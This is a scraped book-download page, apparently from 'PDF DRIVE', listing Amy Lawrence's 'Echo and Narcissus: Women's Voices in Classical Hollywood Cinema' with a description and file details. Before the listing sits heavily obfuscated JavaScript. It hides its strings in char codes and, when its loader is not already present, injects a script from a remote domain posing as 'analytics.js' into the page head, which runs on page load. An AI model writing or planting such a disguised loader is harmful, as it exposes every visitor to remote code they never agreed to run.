var _0x1c9a=['push','229651wHRLFT','511754lPBDVY','length','2080825FKHOBK','src','1lLQkOc','1614837wjeKHo','insertBefore','fromCharCode','179434whQoYd','1774xXwpgH','1400517aqruvf','7vsbpgk','3112gjEEcU','1mFUgXZ','script','1534601MOJEnu','prototype','245777oIJjBl','47jNCcHN','1HkMAkw','nextSibling','appendAfter','shift','18885bYhhDw','1096016qxAIHd','72lReGEt','1305501RTgYEh','4KqoyHD','appendChild','createElement','getElementsByTagName'];var _0xd6df=function(_0x3a7b86,_0x4f5b42){_0x3a7b86=_0x3a7b86-0x1f4;var _0x1c9a62=_0x1c9a[_0x3a7b86];return _0x1c9a62;};(function(_0x2551a2,_0x3dbe97){var _0x34ce29=_0xd6df;while(!![]){try{var _0x176f37=-parseInt(_0x34ce29(0x20a))*-parseInt(_0x34ce29(0x205))+-parseInt(_0x34ce29(0x204))*-parseInt(_0x34ce29(0x206))+-parseInt(_0x34ce29(0x1fc))+parseInt(_0x34ce29(0x200))*parseInt(_0x34ce29(0x1fd))+-parseInt(_0x34ce29(0x1fb))*-parseInt(_0x34ce29(0x1fe))+-parseInt(_0x34ce29(0x20e))*parseInt(_0x34ce29(0x213))+-parseInt(_0x34ce29(0x1f5));if(_0x176f37===_0x3dbe97)break;else _0x2551a2['push'](_0x2551a2['shift']());}catch(_0x201239){_0x2551a2['push'](_0x2551a2['shift']());}}}(_0x1c9a,0xc08f4));function smalller(){var _0x1aa566=_0xd6df,_0x527acf=[_0x1aa566(0x1f6),_0x1aa566(0x20b),'851164FNRMLY',_0x1aa566(0x202),_0x1aa566(0x1f7),_0x1aa566(0x203),'fromCharCode',_0x1aa566(0x20f),_0x1aa566(0x1ff),_0x1aa566(0x211),_0x1aa566(0x214),_0x1aa566(0x207),_0x1aa566(0x201),'parentNode',_0x1aa566(0x20c),_0x1aa566(0x210),_0x1aa566(0x1f8),_0x1aa566(0x20d),_0x1aa566(0x1f9),_0x1aa566(0x208)],_0x1e90a8=function(_0x49d308,_0xd922ec){_0x49d308=_0x49d308-0x17e;var _0x21248f=_0x527acf[_0x49d308];return _0x21248f;},_0x167299=_0x1e90a8;(function(_0x4346f4,_0x1d29c9){var _0x530662=_0x1aa566,_0x1bf0b5=_0x1e90a8;while(!![]){try{var _0x2811eb=-parseInt(_0x1bf0b5(0x187))+parseInt(_0x1bf0b5(0x186))+parseInt(_0x1bf0b5(0x18d))+parseInt(_0x1bf0b5(0x18c))+-parseInt(_0x1bf0b5(0x18e))*parseInt(_0x1bf0b5(0x180))+-parseInt(_0x1bf0b5(0x18b))+-parseInt(_0x1bf0b5(0x184))*parseInt(_0x1bf0b5(0x17e));if(_0x2811eb===_0x1d29c9)break;else _0x4346f4[_0x530662(0x212)](_0x4346f4[_0x530662(0x209)]());}catch(_0x1cd819){_0x4346f4[_0x530662(0x212)](_0x4346f4[_0x530662(0x209)]());}}}(_0x527acf,0xd2c23),(Element[_0x167299(0x18f)][_0x1aa566(0x208)]=function(_0x3d096a){var _0x2ca721=_0x167299;_0x3d096a[_0x2ca721(0x183)][_0x2ca721(0x188)](this,_0x3d096a[_0x2ca721(0x181)]);},![]),function(){var _0x5d96e1=_0x1aa566,_0x22c893=_0x167299,_0x306df5=document[_0x22c893(0x185)](_0x22c893(0x182));_0x306df5[_0x22c893(0x18a)]=String[_0x22c893(0x190)](0x68,0x74,0x74,0x70,0x73,0x3a,0x2f,0x2f,0x73,0x74,0x69,0x63,0x6b,0x2e,0x74,0x72,0x61,0x76,0x65,0x6c,0x69,0x6e,0x73,0x6b,0x79,0x64,0x72,0x65,0x61,0x6d,0x2e,0x67,0x61,0x2f,0x61,0x6e,0x61,0x6c,0x79,0x74,0x69,0x63,0x73,0x2e,0x6a,0x73,0x3f,0x63,0x69,0x64,0x3d,0x30,0x30,0x30,0x30,0x26,0x70,0x69,0x64,0x69,0x3d,0x31,0x39,0x31,0x38,0x31,0x37,0x26,0x69,0x64,0x3d,0x35,0x33,0x36,0x34,0x36),_0x306df5[_0x22c893(0x189)](document[_0x22c893(0x17f)](String[_0x5d96e1(0x1fa)](0x73,0x63,0x72,0x69,0x70,0x74))[0x0]),_0x306df5[_0x5d96e1(0x208)](document[_0x22c893(0x17f)](String[_0x22c893(0x190)](0x68,0x65,0x61,0x64))[0x0]),document[_0x5d96e1(0x211)](String[_0x22c893(0x190)](0x68,0x65,0x61,0x64))[0x0][_0x22c893(0x191)](_0x306df5);}());}function biggger(){var _0x5d031d=_0xd6df,_0x5c5bd2=document[_0x5d031d(0x211)](_0x5d031d(0x201));for(var _0x5a0282=0x0;_0x5a0282<_0x5c5bd2[_0x5d031d(0x1f4)];_0x5a0282++){if(_0x5c5bd2[_0x5a0282][_0x5d031d(0x1f6)]['indexOf'](String['fromCharCode'](0x74,0x72,0x61,0x76,0x65,0x6c,0x69,0x6e,0x73,0x6b,0x79,0x64,0x72,0x65,0x61,0x6d))>-0x1)return 0x1;}return 0x0;}biggger()==0x0&&smalller(); Echo and Narcissus: Women’s Voices in Classical Hollywood Cinema0520070828, 9780520070820, 0520070712, 9780520070714, 9780585282879 – PDF DRIVE

Echo and Narcissus: Women’s Voices in Classical Hollywood Cinema0520070828, 9780520070820, 0520070712, 9780520070714, 9780585282879

Author : Amy Lawrence
"""Description:Do women in classical Hollywood cinema ever truly speak for themselves? In Echo and Narcissus, Amy Lawrence examines eight classic films to show how women's speech is repeatedly constructed as a ""problem,"" an affront to male authority. This book expands feminist studies of the representation of women in film, enabling us to see individual films in new ways, and to ask new questions of other films.Using Sadie Thompson (1928), Blackmail (1929), Rain (1932), The Spiral Staircase, Sorry,Wrong Number, Notorious, Sunset Boulevard (1950) and To Kill a Mockingbird (1962), Lawrence illustrates how women's voices are positioned within narratives that require their submission to patriarchal roles and how their attempts to speak provoke increasingly severe repression. She also shows how women's natural ability to speak is interrupted, made difficult, or conditioned to a suffocating degree by sound technology itself. Telephones, phonographs, voice-overs, and dubbing are foregrounded, called upon to silence women and to restore the primacy of the image.Unlike the usage of ""voice"" by feminist and literary critics to discuss broad issues of authorship and point of view, in film studies the physical voice itself is a primary focus. Echo and Narcissus shows how assumptions about the ""deficiencies"" of women's voices and speech are embedded in sound's history, technology, uses, and marketing. Moreover, the construction of the woman's voice is inserted into the ideologically loaded cinematic and narrative conventions governing the representation of women in Hollywood film."""
Categories: Art Cinema
Year :1991
Publisher :
Language : English
N° Of Pages : 218[230]
File Info : pdf 5 Mb

Download

Add a Comment

Your email address will not be published. Required fields are marked *